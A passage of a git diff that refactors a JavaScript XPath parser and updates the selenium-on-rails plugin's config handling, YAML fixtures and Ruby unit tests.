+     [ XPathFilterExpr, TOK_DSLASH, XPathRelativeLocationPath ], 19,
      makePathExpr2 ],
 
-   [ XPathFilterExpr, [ XPathPrimaryExpr, XPathPredicate, Q_MM ], 20,
-     makeFilterExpr ], 
+   [ XPathFilterExpr, [ XPathPrimaryExpr, XPathPredicate, Q_MM ], 31,
+     makeFilterExpr ],
 
    [ XPathExpr, [ XPathPrimaryExpr ], 16,
      passExpr ],
@@ -2036,7 +2279,7 @@ function xpathParseInit() {
     xpathTokenRules[i].key = k++;
   }
 
-  Log.write('XPath parse INIT: ' + k + ' rules');
+  xpathLog('XPath parse INIT: ' + k + ' rules');
 
   // Another slight optimization: sort the rules into bins according
   // to the last element (observing quantifiers), so we can restrict
@@ -2062,7 +2305,7 @@ function xpathParseInit() {
       if (pattern[j] == Q_1M) {
         push_(xpathRules, pattern[j-1].key, rule);
         break;
-        
+
       } else if (pattern[j] == Q_MM || pattern[j] == Q_01) {
         push_(xpathRules, pattern[j-1].key, rule);
         --j;
@@ -2074,31 +2317,48 @@ function xpathParseInit() {
     }
   }
 
-  Log.write('XPath parse INIT: ' + xpathRules.length + ' rule bins');
-  
+  xpathLog('XPath parse INIT: ' + xpathRules.length + ' rule bins');
+
   var sum = 0;
   mapExec(xpathRules, function(i) {
     if (i) {
       sum += i.length;
     }
   });
-  
-  Log.write('XPath parse INIT: ' + (sum / xpathRules.length) + ' average bin size');
+
+  xpathLog('XPath parse INIT: ' + (sum / xpathRules.length) +
+           ' average bin size');
 }
 
 // Local utility functions that are used by the lexer or parser.
 
-function xpathCollectDescendants(nodelist, node) {
+function xpathCollectDescendants(nodelist, node, opt_tagName) {
+  if (opt_tagName && node.getElementsByTagName) {
+    copyArray(nodelist, node.getElementsByTagName(opt_tagName));
+    return;
+  }
   for (var n = node.firstChild; n; n = n.nextSibling) {
     nodelist.push(n);
-    arguments.callee(nodelist, n);
+    xpathCollectDescendants(nodelist, n);
+  }
+}
+
+// DGF extract a tag name suitable for getElementsByTagName
+function xpathExtractTagNameFromNodeTest(nodetest) {
+  if (nodetest instanceof NodeTestName) {
+    return nodetest.name;
+  } else if (/* nodetest instanceof NodeTestAny || */ nodetest instanceof NodeTestElementOrAttribute) {
+    // HBC - commented out the NodeTestAny in the above condition; it causes
+    // non-element nodes to be excluded! The XPath spec says "node()" must
+    // match all node types.
+    return "*";
   }
 }
 
 function xpathCollectDescendantsReverse(nodelist, node) {
   for (var n = node.lastChild; n; n = n.previousSibling) {
     nodelist.push(n);
-    arguments.callee(nodelist, n);
+    xpathCollectDescendantsReverse(nodelist, n);
   }
 }
 
@@ -2120,11 +2380,11 @@ function xpathSort(input, sort) {
 
   var sortlist = [];
 
-  for (var i = 0; i < input.nodelist.length; ++i) {
+  for (var i = 0; i < input.contextSize(); ++i) {
     var node = input.nodelist[i];
     var sortitem = { node: node, key: [] };
     var context = input.clone(node, 0, [ node ]);
-    
+
     for (var j = 0; j < sort.length; ++j) {
       var s = sort[j];
       var value = s.expr.evaluate(context);
@@ -2153,7 +2413,7 @@ function xpathSort(input, sort) {
     nodes.push(sortlist[i].node);
   }
   input.nodelist = nodes;
-  input.setNode(nodes[0], 0);
+  input.setNode(0);
 }
 
 
@@ -2164,7 +2424,6 @@ function xpathSort(input, sort) {
 // NOTE: In browsers which do not follow the spec, this breaks only in
 // the case that numbers should be sorted as strings, which is very
 // uncommon.
-
 function xpathSortByKey(v1, v2) {
   // NOTE: Sort key vectors of different length never occur in
   // xsltSort.
@@ -2180,3 +2439,12 @@ function xpathSortByKey(v1, v2) {
 
   return 0;
 }
+
+
+// Parses and then evaluates the given XPath expression in the given
+// input context. Notice that parsed xpath expressions are cached.
+function xpathEval(select, context) {
+  var expr = xpathParse(select);
+  var ret = expr.evaluate(context);
+  return ret;
+}
diff --git a/vendor/plugins/selenium-on-rails/config.yml.example b/vendor/plugins/selenium-on-rails/selenium.yml.example
similarity index 83%
rename from vendor/plugins/selenium-on-rails/config.yml.example
rename to vendor/plugins/selenium-on-rails/selenium.yml.example
index 5fa56a85..d644ab2d 100644
--- a/vendor/plugins/selenium-on-rails/config.yml.example
+++ b/vendor/plugins/selenium-on-rails/selenium.yml.example
@@ -1,33 +1,37 @@
-# Move this file to your rails apps config directory and rename it to selenium.yml in order to configure the plugin
-
-#
-# General settings
-#
-
-environments:
-  - test
-#  - development # Uncomment this line to enable in development environment. N.B. your development database will likely be altered/destroyed/abducted
-
-#selenium_path: 'c:\selenium' #path to selenium installation. only needed if you for some reason don't want to use the bundled version of selenium core
-
-#
-# rake test:acceptance settings
-#
-
-browsers:
-  # Windows
-  firefox: 'c:\Program Files\Mozilla Firefox\firefox.exe'
-  ie: 'c:\Program Files\Internet Explorer\iexplore.exe'
-
-  # Mac OS X
-  #firefox: '/Applications/Firefox.app/Contents/MacOS/firefox-bin'
-  #safari: '/Applications/Safari.app/Contents/MacOS/Safari'
-
-#host: 'localhost'
-#port_start: 3000
-#port_end: 3005
-#base_url_path: '/'
-#max_browser_duration: 120
-#multi_window: false
-  
-#result_dir: 'c:\result' # the directory where the results will be stored after a test:acceptance run
+# Please read as our directions have changed:
+# Move this file to your rails apps config directory and rename it to selenium.yml in order to configure the plugin
+
+#
+# General settings
+#
+
+environments:
+  - test
+#  - development # Uncomment this line to enable in development environment. N.B. your development database will likely be altered/destroyed/abducted
+
+#selenium_path: 'c:\selenium' #path to selenium installation. only needed if you for some reason don't want to use the bundled version of selenium core
+
+#
+# rake test:acceptance settings
+#
+
+browsers:
+  # Windows
+  firefox: 'c:\Program Files\Mozilla Firefox\firefox.exe'
+  ie: 'c:\Program Files\Internet Explorer\iexplore.exe'
+
+  # Mac OS X
+  #firefox: '/Applications/Firefox.app/Contents/MacOS/firefox-bin'
+  #safari: '/Applications/Safari.app/Contents/MacOS/Safari'
+
+#host: 'localhost'
+#port_start: 3000
+#port_end: 3005
+#base_url_path: '/'
+#max_browser_duration: 120
+#multi_window: false
+  
+#result_dir: 'c:\result' # the directory where the results will be stored after a test:acceptance run
+
+#fixtures_path: <%= "#{RAILS_ROOT}/spec/fixtures" %>
+#selenium_tests_path: <%= "#{RAILS_ROOT}/spec/selenium" %>
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/tasks/test_acceptance.rake b/vendor/plugins/selenium-on-rails/tasks/test_acceptance.rake
index a29f8cf1..a9598ca6 100644
--- a/vendor/plugins/selenium-on-rails/tasks/test_acceptance.rake
+++ b/vendor/plugins/selenium-on-rails/tasks/test_acceptance.rake
@@ -1,8 +1,8 @@
-task :test_acceptance => 'test:acceptance'
-namespace :test do
-  desc 'Run Selenium tests in all browsers'
-  task :acceptance do
-    require File.dirname(__FILE__) + '/../lib/selenium_on_rails/acceptance_test_runner'
-    SeleniumOnRails::AcceptanceTestRunner.new.run
-  end
-end
+task :test_acceptance => 'test:acceptance'
+namespace :test do
+  desc 'Run Selenium tests in all browsers'
+  task :acceptance do
+    require File.dirname(__FILE__) + '/../lib/selenium_on_rails/acceptance_test_runner'
+    SeleniumOnRails::AcceptanceTestRunner.new.run
+  end
+end
diff --git a/vendor/plugins/selenium-on-rails/test/fixtures/config.yml b/vendor/plugins/selenium-on-rails/test/fixtures/config.yml
new file mode 100644
index 00000000..1056b55b
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/test/fixtures/config.yml
@@ -0,0 +1,37 @@
+# Please read as our directions have changed:
+# Move this file to your rails apps config directory and rename it to selenium.yml in order to configure the plugin
+
+#
+# General settings
+#
+
+environments:
+  - test
+#  - development # Uncomment this line to enable in development environment. N.B. your development database will likely be altered/destroyed/abducted
+
+#selenium_path: 'c:\selenium' #path to selenium installation. only needed if you for some reason don't want to use the bundled version of selenium core
+
+#
+# rake test:acceptance settings
+#
+
+browsers:
+  # Windows
+  # firefox: 'c:\Program Files\Mozilla Firefox\firefox.exe'
+  # ie: 'c:\Program Files\Internet Explorer\iexplore.exe'
+
+  # Mac OS X
+  firefox: '/Applications/Firefox.app/Contents/MacOS/firefox-bin'
+  safari: '/Applications/Safari.app/Contents/MacOS/Safari'
+
+#host: 'localhost'
+#port_start: 3000
+#port_end: 3005
+#base_url_path: '/'
+#max_browser_duration: 120
+#multi_window: false
+  
+#result_dir: 'c:\result' # the directory where the results will be stored after a test:acceptance run
+
+#fixtures_path: <%= "#{RAILS_ROOT}/spec/fixtures" %>
+#selenium_tests_path: <%= "#{RAILS_ROOT}/spec/selenium" %>
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test/fixtures/selenium.yml b/vendor/plugins/selenium-on-rails/test/fixtures/selenium.yml
new file mode 100644
index 00000000..912819e7
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/test/fixtures/selenium.yml
@@ -0,0 +1,27 @@
+# Move this file to your rails apps config directory and rename it to selenium.yml in order to configure the plugin
+
+#
+# General settings
+#
+
+environments:
+  - test_cache
+#  - development # Uncomment this line to enable in development environment. N.B. your development database will likely be altered/destroyed/abducted
+
+#selenium_path: 'c:\selenium' #path to selenium installation. only needed if you for some reason don't want to use the bundled version of selenium core
+
+#
+# rake test:acceptance settings
+#
+
+browsers:
+  firefox: 'script/openfirefox'
+  # safari: '/Applications/Safari.app/Contents/MacOS/Safari'
+
+port_start: 4000
+port_end: 4001
+#base_url_path: '/'
+#max_browser_duration: 120
+#multi_window: false
+  
+#result_dir: 'c:\result' # the directory where the results will be stored after a test:acceptance run
diff --git a/vendor/plugins/selenium-on-rails/test/paths_test.rb b/vendor/plugins/selenium-on-rails/test/paths_test.rb
new file mode 100644
index 00000000..b5ab65bc
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/test/paths_test.rb
@@ -0,0 +1,72 @@
+require File.dirname(__FILE__) + '/test_helper'
+require 'mocha'
+RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + "/")
+
+class SeleniumOnRails::PathsTest < Test::Unit::TestCase
+  
+  include SeleniumOnRails::Paths
+  
+  def test_selenium_tests_path_when_config_has_not_selenium_tests_path
+    SeleniumOnRailsConfig.expects(:get).with("selenium_tests_path").returns(nil)
+    assert_equal "#{RAILS_ROOT}/test/selenium", selenium_tests_path
+  end
+  
+  def test_selenium_tests_path_when_config_has_selenium_tests_path
+    SeleniumOnRailsConfig.expects(:get).with("selenium_tests_path").returns("path").at_least_once
+    assert_equal "path", selenium_tests_path
+  end
+  
+  def test_fixtures_path_when_config_has_not_fixtures_path
+    SeleniumOnRailsConfig.expects(:get).with("fixtures_path").returns(nil)
+    assert_equal "#{RAILS_ROOT}/test/fixtures", fixtures_path
+  end
+  
+  def test_fixtures_path_when_config_has_fixtures_path
+    SeleniumOnRailsConfig.expects(:get).with("fixtures_path").returns("path").at_least_once
+    assert_equal "path", fixtures_path
+  end
+  
+  def test_view_path
+    assert_equal File.expand_path("#{RAILS_ROOT}/../lib/views/my_view"), view_path('my_view')
+  end
+  
+  def test_layout_path
+    assert_equal "layout.rhtml", layout_path
+  end
+  
+  def test_skip_file_when_file_contain_CVS
+    assert skip_file?("file/with/CVS/in/the/middle/of/path")
+  end
+
+  def test_skip_file_when_file_contain_dot
+    assert skip_file?("file/with/./(dot)/in/the/middle/of/path")
+  end
+
+  def test_skip_file_when_file_contain_underline
+    assert skip_file?("file/with/_underline/in/the/middle/of/path")
+  end
+  
+  def test_skip_file_when_file_contain_accent_mark
+    assert skip_file?("file/with/mark~/in/the/middle/of/path")
+  end
+
+  def test_skip_file_when_file_does_not_have_any_reason_to_skip
+    assert !skip_file?("my/valid/file")
+  end
+  
+  def test_selenium_path
+    assert_equal File.expand_path("#{RAILS_ROOT}/../selenium-core") + "/", selenium_path
+  end
+
+  def test_selenium_path_when_selenium_core_installation_is_not_found
+    selenium_core_path = File.expand_path(File.dirname(__FILE__) + "/../selenium-core")
+    
+    File.expects(:exist?).with("#{selenium_core_path}/core/TestRunner.html").returns(false)
+    File.expects(:exist?).with("#{selenium_core_path}/selenium/TestRunner.html").returns(false)
+    File.expects(:exist?).with("#{selenium_core_path}/javascript/TestRunner.html").returns(false)
+    File.expects(:exist?).with("#{selenium_core_path}/TestRunner.html").returns(false)
+    @@selenium_path = nil
+    assert_raise(RuntimeError) { selenium_path }
+  end
+  
+end
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test/renderer_test.rb b/vendor/plugins/selenium-on-rails/test/renderer_test.rb
index 2b676aa2..892522cd 100644
--- a/vendor/plugins/selenium-on-rails/test/renderer_test.rb
+++ b/vendor/plugins/selenium-on-rails/test/renderer_test.rb
@@ -2,7 +2,9 @@ require File.dirname(__FILE__) + '/test_helper'
 
 class RendererTest < Test::Unit::TestCase
   def setup
+    SeleniumOnRails::PartialsSupport.send(:include, SeleniumOnRails::PathsTestHelper)
     @controller = SeleniumController.new
+    @controller.extend(SeleniumOnRails::PathsTestHelper)
     ActionController::Routing::Routes.draw
     @request    = ActionController::TestRequest.new
     @response   = ActionController::TestResponse.new
@@ -20,8 +22,6 @@ END
   end
   
   def test_html
-    get :test_file, :testname => 'html.html'
-    assert_headers
     expected =<<END
 <html><head><title>test layout</title></head><body>
 <p>Testing plain HTML</p>
@@ -32,8 +32,16 @@ END
 <p>and it works...</p>
 </body></html>
 END
+    File.open(test_path_for('html.html'), 'w+') { |index_file| index_file << expected }
+    get :test_file, :testname => 'html.html'
+    assert_headers
+    
     assert_text_equal expected, @response.body
   end
+  
+  def test_path_for(name)
+    "#{File.expand_path(File.dirname(__FILE__) + "/../test_data")}/#{name}"
+  end
     
   def test_rhtml
     get :test_file, :testname => 'rhtml.rhtml'
diff --git a/vendor/plugins/selenium-on-rails/test/rselenese_test.rb b/vendor/plugins/selenium-on-rails/test/rselenese_test.rb
index 3dfb71fb..47fc8a69 100644
--- a/vendor/plugins/selenium-on-rails/test/rselenese_test.rb
+++ b/vendor/plugins/selenium-on-rails/test/rselenese_test.rb
@@ -9,8 +9,8 @@ class RSeleneseTest < Test::Unit::TestCase
     create_rsel_file_from(input, "html.rsel")
     
     @view = TestView.new
+    @view.extend(SeleniumOnRails::PathsTestHelper)
     @sel = SeleniumOnRails::RSelenese.new(@view) 
-    
     @sel.render ActionView::Template.new(test_path_for("html.rsel")), {'page_title' => page_title}
   end
   
@@ -50,6 +50,21 @@ END
     input = "#{name}(#{args_str})"
     assert_rselenese expected_html, 'Selenese Commands', input
   end
+  
+  def test_render_rselenese_without_locals
+    expected_html = <<END
+<table>
+<tr><th colspan="3"></th></tr>
+</table>
+END
+    create_rsel_file_from('', "html.rsel")
+    
+    @view = TestView.new
+    @view.extend(SeleniumOnRails::PathsTestHelper)
+    @sel = SeleniumOnRails::RSelenese.new(@view)
+    
+    assert_text_equal expected_html, @sel.render(ActionView::Template.new(test_path_for("html.rsel")))
+  end
  
   def test_element_locators
     assert_generates_command %w{click aCheckbox}, :click, 'aCheckbox'
diff --git a/vendor/plugins/selenium-on-rails/test/selenese_test.rb b/vendor/plugins/selenium-on-rails/test/selenese_test.rb
index 96996170..578475fd 100644
--- a/vendor/plugins/selenium-on-rails/test/selenese_test.rb
+++ b/vendor/plugins/selenium-on-rails/test/selenese_test.rb
@@ -1,9 +1,10 @@
-require File.dirname(__FILE__) + '/test_helper'
+  require File.dirname(__FILE__) + '/test_helper'
 
 class SeleneseTest < Test::Unit::TestCase
   
   def setup
     @view = TestView.new
+    @view.extend(SeleniumOnRails::PathsTestHelper)
     @sel = SeleniumOnRails::Selenese.new(@view) 
   end
   
@@ -57,7 +58,6 @@ END
 </table>
 END
     input = <<END
- 
 Comment *1*
  
 Comment 2
diff --git a/vendor/plugins/selenium-on-rails/test/selenium_controller_test.rb b/vendor/plugins/selenium-on-rails/test/selenium_controller_test.rb
index 4576b16b..8daa6b7b 100644
--- a/vendor/plugins/selenium-on-rails/test/selenium_controller_test.rb
+++ b/vendor/plugins/selenium-on-rails/test/selenium_controller_test.rb
@@ -5,6 +5,7 @@ class SeleniumControllerTest < Test::Unit::TestCase
 
   def setup
     @controller = SeleniumController.new
+    @controller.extend(SeleniumOnRails::PathsTestHelper)
     ActionController::Routing::Routes.draw
     SeleniumController.any_instance.stubs(:layout_path).returns(false)
     @request    = ActionController::TestRequest.new
@@ -26,7 +27,7 @@ EOS
   end
   
   def test_record_with_result
-    @controller.config.configs["result_dir"] = @result_dir
+    @controller.instance_variable_set(:@result_dir, @result_dir)
     
     post :record, :suite => @suite, "testTable.1" => "<table></table>", "testTable.2" => "<table></table>"
     
diff --git a/vendor/plugins/selenium-on-rails/test/selenium_on_rails_config_test.rb b/vendor/plugins/selenium-on-rails/test/selenium_on_rails_config_test.rb
index f7565e4c..61f80834 100644
--- a/vendor/plugins/selenium-on-rails/test/selenium_on_rails_config_test.rb
+++ b/vendor/plugins/selenium-on-rails/test/selenium_on_rails_config_test.rb
@@ -1,21 +1,43 @@
 require File.dirname(__FILE__) + '/test_helper'
 require 'mocha'
 
+class SeleniumOnRailsConfig
+  def self.reset_config
+    @@configs = nil
+  end
+end
+
 class SeleniumOnRailsConfigTest < Test::Unit::TestCase
   
-  def test_config_file_in_config_directory
-    File.stubs(:expand_path).returns("temporary")
-    File.expects(:exist?).with("temporary").returns(false)
-    File.expects(:exist?).with(File.join(RAILS_ROOT, 'config', 'selenium.yml')).returns(true)
-    YAML.expects(:load_file).with(File.join(RAILS_ROOT, 'config', 'selenium.yml')).returns({:fake => "hash"})
-    
-    assert_equal({:fake => "hash"}, SeleniumOnRailsConfig.new.configs)
+  def setup
+    SeleniumOnRailsConfig.reset_config
+    @selenium_file = File.join(RAILS_ROOT, 'config', 'selenium.yml')
+    @config_file = File.expand_path(File.dirname(__FILE__) + '/../config.yml')
+    @selenium_content = File.read(File.dirname(__FILE__) + '/fixtures/selenium.yml')
+    @config_content = File.read(File.dirname(__FILE__) + '/fixtures/config.yml')
   end
-  
-  def test_setting_config_manually
-    config = SeleniumOnRailsConfig.new
-    config.configs["test"] = "result"
+
+  def test_get_selenium_yaml
+    File.expects(:exist?).with(@selenium_file).returns(true)
+    IO.expects(:read).with(@selenium_file).returns(@selenium_content)
+    IO.expects(:read).with(@config_file).never
+    IO.expects(:exist?).with(@config_file).never
     
-    assert_equal("result", config.configs["test"])
+    assert_equal ["test_cache"], SeleniumOnRailsConfig.get(:environments)
+    assert_equal({"firefox"=>"script/openfirefox"}, SeleniumOnRailsConfig.get(:browsers))
   end
+
+  def test_get_when_config_yml_exists_but_selenium_yaml_not
+    File.expects(:exist?).with(@selenium_file).returns(false)
+    File.expects(:exist?).with(@config_file).returns(true)
+    IO.expects(:read).with(@config_file).returns(@config_content)
+    IO.expects(:read).with(@selenium_file).never
+    
+    assert_equal ["test"], SeleniumOnRailsConfig.get(:environments)
+    expected_config = {"safari"=>"/Applications/Safari.app/Contents/MacOS/Safari",
+                       "firefox"=>"/Applications/Firefox.app/Contents/MacOS/firefox-bin"} 
+    
+    assert_equal(expected_config, SeleniumOnRailsConfig.get(:browsers))
+  end
+
 end
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test/selenium_support_test.rb b/vendor/plugins/selenium-on-rails/test/selenium_support_test.rb
index 324c4567..5fb469e4 100644
--- a/vendor/plugins/selenium-on-rails/test/selenium_support_test.rb
+++ b/vendor/plugins/selenium-on-rails/test/selenium_support_test.rb
@@ -3,6 +3,7 @@ require File.dirname(__FILE__) + '/test_helper'
 class SeleniumSupportTest < Test::Unit::TestCase  
   def setup
     @controller = SeleniumController.new
+    @controller.extend(SeleniumOnRails::PathsTestHelper)
     ActionController::Routing::Routes.draw
     @request    = ActionController::TestRequest.new
     @response   = ActionController::TestResponse.new
diff --git a/vendor/plugins/selenium-on-rails/test/setup_test.rb b/vendor/plugins/selenium-on-rails/test/setup_test.rb
index a75fcdba..c24c4869 100644
--- a/vendor/plugins/selenium-on-rails/test/setup_test.rb
+++ b/vendor/plugins/selenium-on-rails/test/setup_test.rb
@@ -5,6 +5,7 @@ RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + "/")
 class SetupTest < Test::Unit::TestCase
   def setup
     @controller = SeleniumController.new
+    @controller.extend(SeleniumOnRails::PathsTestHelper)
     SeleniumController.any_instance.stubs(:clear_tables).returns([])
     SeleniumController.any_instance.stubs(:layout_path).returns(false)
     ActionController::Routing::Routes.draw
diff --git a/vendor/plugins/selenium-on-rails/test/suite_renderer_test.rb b/vendor/plugins/selenium-on-rails/test/suite_renderer_test.rb
index c4bd43f8..92f9c2f3 100644
--- a/vendor/plugins/selenium-on-rails/test/suite_renderer_test.rb
+++ b/vendor/plugins/selenium-on-rails/test/suite_renderer_test.rb
@@ -3,6 +3,7 @@ require File.dirname(__FILE__) + '/test_helper'
 class SuiteRendererTest < Test::Unit::TestCase
   def setup
     @controller = SeleniumController.new
+    @controller.extend(SeleniumOnRails::PathsTestHelper)
     ActionController::Routing::Routes.draw
     @request    = ActionController::TestRequest.new
     @response   = ActionController::TestResponse.new
diff --git a/vendor/plugins/selenium-on-rails/test/switch_environment_controller_test.rb b/vendor/plugins/selenium-on-rails/test/switch_environment_controller_test.rb
index febe59a9..66d5ac77 100644
--- a/vendor/plugins/selenium-on-rails/test/switch_environment_controller_test.rb
+++ b/vendor/plugins/selenium-on-rails/test/switch_environment_controller_test.rb
@@ -10,11 +10,8 @@ class SwitchEnvironmentControllerTest < Test::Unit::TestCase
   end
   
   def test_index
-    SeleniumOnRailsConfig.expects(:new).returns(@config)
-    @config.expects(:get).with(:environments).returns("hello dolly")
-    
+    SeleniumOnRailsConfig.expects(:get).with(:environments).returns("hello dolly")
     get :index
-    
     assert @response.body.include?('hello dolly')
   end
 end
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test/test_builder_functions_authortest.rb b/vendor/plugins/selenium-on-rails/test/test_builder_functions_authortest.rb
new file mode 100644
index 00000000..be1ea33c
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/test/test_builder_functions_authortest.rb
@@ -0,0 +1,51 @@
+#----------------------------------------------------------------------------
+# This is a *_authortest.rb file, which means it will only run if you run:
+# rake alltests
+# It is not run as part of the standard test suite, as it's of limited
+# value unless you're actually developing Selenium On Rails.
+
+#----------------------------------------------------------------------------
+# The test_builder_actions.rb and test_builder_accessors.rb files do not
+# necessarily contain all the functions which are available in Selenium.
+# Here we use the iedoc.xml file to find functions which might need to be
+# added to the files.  Ultimately it would be great not to need to do this
+# process manually, however, this is a temporary step toward improving
+# function parity.
+
+require File.dirname(__FILE__) + '/test_helper'
+
+class TestTheTestBuilderFunctions < Test::Unit::TestCase
+
+  def test_functions_in_iedoc_are_supported
+
+    base_path = File.dirname(__FILE__) + '/../'
+
+    iedoc_file = File.read base_path + "selenium-core/iedoc.xml"
+    test_builder_actions_file = File.read base_path + "lib/selenium_on_rails/test_builder_actions.rb"
+    test_builder_accessors_file = File.read base_path + "lib/selenium_on_rails/test_builder_accessors.rb"
+
+    # Don't include any deprecated functions
+    deprecated_functions = %W{dragdrop}
+
+    iedoc_functions = iedoc_file.scan(/function *name *= *["']([a-zA-Z]+)["']/)\
+                                .sort.collect{|x| x[0]} - deprecated_functions
+
+    for function_name in iedoc_functions
+
+      function_name.gsub!(/[A-Z]/) { |s| "_" + s.downcase }
+      
+      test_description = "The function listed in the iedoc.xml file, " +
+                         "#{function_name}, exists in the test_builder files" 
+      
+      if test_builder_actions_file.match(/def *#{function_name}/) ||
+          test_builder_accessors_file.match(/(?:def *|tt>)#{function_name}/)
+        assert true, test_description
+      else
+        assert false, test_description
+      end
+    end
+    
+  end
+  
+end
+
diff --git a/vendor/plugins/selenium-on-rails/test/test_helper.rb b/vendor/plugins/selenium-on-rails/test/test_helper.rb
index 397352f3..cac9efee 100644
--- a/vendor/plugins/selenium-on-rails/test/test_helper.rb
+++ b/vendor/plugins/selenium-on-rails/test/test_helper.rb
@@ -1,99 +1,101 @@
-ENV["RAILS_ENV"] = "test"
-RAILS_ROOT = "test" unless defined?(RAILS_ROOT)
-$: << File.expand_path(File.dirname(__FILE__) + "/../lib")
-
-require 'rubygems'
-gem 'activesupport'
-require 'active_support'
-
-require 'action_view/template_handler'
-require 'action_view/template_handlers/builder'
-require 'action_view/template_handlers/erb'
-require 'action_view/template_handlers/rjs'
-require 'action_view/base'
-require 'action_view/partials'
-require 'action_view/template_error'
-require 'action_controller'
-
-require 'selenium_on_rails/suite_renderer'
-require 'selenium_on_rails/fixture_loader'
-require 'selenium_helper'
-require 'controllers/selenium_controller'
-require File.expand_path(File.dirname(__FILE__) + "/../routes")
-require 'action_controller/test_process'
-
-SeleniumController.append_view_path File.expand_path(File.dirname(__FILE__))
-
-def setup_controller_test(controller)
-  @controller = controller.new
-  ActionController::Routing::Routes.draw
-  @request    = ActionController::TestRequest.new
-  @response   = ActionController::TestResponse.new
-end
-
-module SeleniumOnRails::Paths
-  def selenium_tests_path
-    File.expand_path(File.dirname(__FILE__) + '/../test_data')
-  end
-end
-
-class SeleniumController
-  attr_accessor :layout_override
-  # Re-raise errors caught by the controller.
-  def rescue_action e
-    raise e
-  end
-      
-  def render options = nil
-    if override_layout? options
-      options[:layout] = false
-      super options
-      return response.body = @layout_override.gsub('@content_for_layout', response.body)
-    end
-    super options
-  end
-  
-  private
-    def override_layout? options
-      return false unless @layout_override
-      if options[:action] or options[:template]
-        options[:layout] != false #for action and template the default layout is used if not explicitly disabled
-      else
-        not [nil, false].include? options[:layout] #otherwise a layout has to be specified
-      end
-    end
-
-end
-
-class Test::Unit::TestCase
-  def assert_text_equal expected, actual
-    assert_equal clean_text(expected), clean_text(actual)
-  end
-  
-  def clean_text text
-    text.gsub("\t", '  ').gsub("\r", '').gsub("\n", '').gsub(/ *</, '<')
-  end
-  
-end
-
-class TestView < ActionView::Base
-  include SeleniumOnRails::PartialsSupport
-  
-  # alias_method :render_partial_without_override, :render_partial
-  # def render_partial partial_path = default_template_name, object = nil, local_assigns = nil, status = nil
-  #   if @override
-  #     partial = render :inline => @override, :type => @override_type, :locals => local_assigns
-  #     extract_commands_from_partial partial
-  #   else
-  #     render_partial_without_override partial_path, object, local_assigns, status
-  #   end
-  # end
-  # 
-  # def override_partial partial, type
-  #   @override, @override_type = partial, type
-  #   result = yield
-  #   @override, @override_type = nil, nil
-  #   result
-  # end
-  
+ENV["RAILS_ENV"] = "test"
+RAILS_ROOT = "test" unless defined?(RAILS_ROOT)
+$: << File.expand_path(File.dirname(__FILE__) + "/../lib")
+
+require 'rubygems'
+gem 'activesupport'
+require 'active_support'
+
+gem 'actionpack'
+require 'action_view/template_handler'
+require 'action_view/template_handlers/builder'
+require 'action_view/template_handlers/erb'
+require 'action_view/template_handlers/rjs'
+require 'action_view/base'
+require 'action_view/partials'
+require 'action_view/template_error'
+require 'action_controller'
+
+require 'selenium_on_rails/suite_renderer'
+require 'selenium_on_rails/fixture_loader'
+require 'selenium_helper'
+require 'controllers/selenium_controller'
+require File.expand_path(File.dirname(__FILE__) + "/../routes")
+require 'action_controller/test_process'
+
+SeleniumController.append_view_path File.expand_path(File.dirname(__FILE__))
+
+def setup_controller_test(controller)
+  @controller = controller.new
+  ActionController::Routing::Routes.draw
+  @request    = ActionController::TestRequest.new
+  @response   = ActionController::TestResponse.new
+end
+
+
+class SeleniumController
+  attr_accessor :layout_override
+  # Re-raise errors caught by the controller.
+  def rescue_action e
+    raise e
+  end
+      
+  def render options = nil
+    if override_layout? options
+      options[:layout] = false
+      super options
+      return response.body = @layout_override.gsub('@content_for_layout', response.body)
+    end
+    super options
+  end
+  
+  private
+    def override_layout? options
+      return false unless @layout_override
+      if options[:action] or options[:template]
+        options[:layout] != false #for action and template the default layout is used if not explicitly disabled
+      else
+        not [nil, false].include? options[:layout] #otherwise a layout has to be specified
+      end
+    end
+
+end
+
+class Test::Unit::TestCase
+  def assert_text_equal expected, actual
+    assert_equal clean_text(expected), clean_text(actual)
+  end
+  
+  def clean_text text
+    text.gsub("\t", '  ').gsub("\r", '').gsub("\n", '').gsub(/ *</, '<')
+  end
+  
+end
+
+module SeleniumOnRails::PathsTestHelper
+  def selenium_tests_path
+    File.expand_path(File.dirname(__FILE__) + '/../test_data')
+  end
+end
+
+class TestView < ActionView::Base
+  include SeleniumOnRails::PartialsSupport
+  
+  # alias_method :render_partial_without_override, :render_partial
+  # def render_partial partial_path = default_template_name, object = nil, local_assigns = nil, status = nil
+  #   if @override
+  #     partial = render :inline => @override, :type => @override_type, :locals => local_assigns
+  #     extract_commands_from_partial partial
+  #   else
+  #     render_partial_without_override partial_path, object, local_assigns, status
+  #   end
+  # end
+  # 
+  # def override_partial partial, type
+  #   @override, @override_type = partial, type
+  #   result = yield
+  #   @override, @override_type = nil, nil
+  #   result
+  # end
+  
 end
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/html.html b/vendor/plugins/selenium-on-rails/test_data/html.html
deleted file mode 100644
index 08e1143d..00000000
--- a/vendor/plugins/selenium-on-rails/test_data/html.html
+++ /dev/null
@@ -1,6 +0,0 @@
-<p>Testing plain HTML</p>
-<table>
-  <tr><th colspan="3">Test HTML</th></tr>
-  <tr><td>open</td><td>/selenium/setup</td><td>&nbsp;</td></tr>
-</table>
-<p>and it works...</p>
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/own_layout.html b/vendor/plugins/selenium-on-rails/test_data/own_layout.html
index 5f07842e..a45c5498 100644
--- a/vendor/plugins/selenium-on-rails/test_data/own_layout.html
+++ b/vendor/plugins/selenium-on-rails/test_data/own_layout.html
@@ -1,12 +1,12 @@
-<html>
-	<head>
-		<title>Test case with own layout</title>
-		<style type="text/css"> body { background-color: #ccc; } </style>
-	</head>
-	<body>
-		<table>
-			<tr><th colspan="3">Test own layout</th></tr>
-			<tr><td>open</td><td>/selenium/setup</td><td>&nbsp;</td></tr>
-		</table>
-	</body>
-</html>
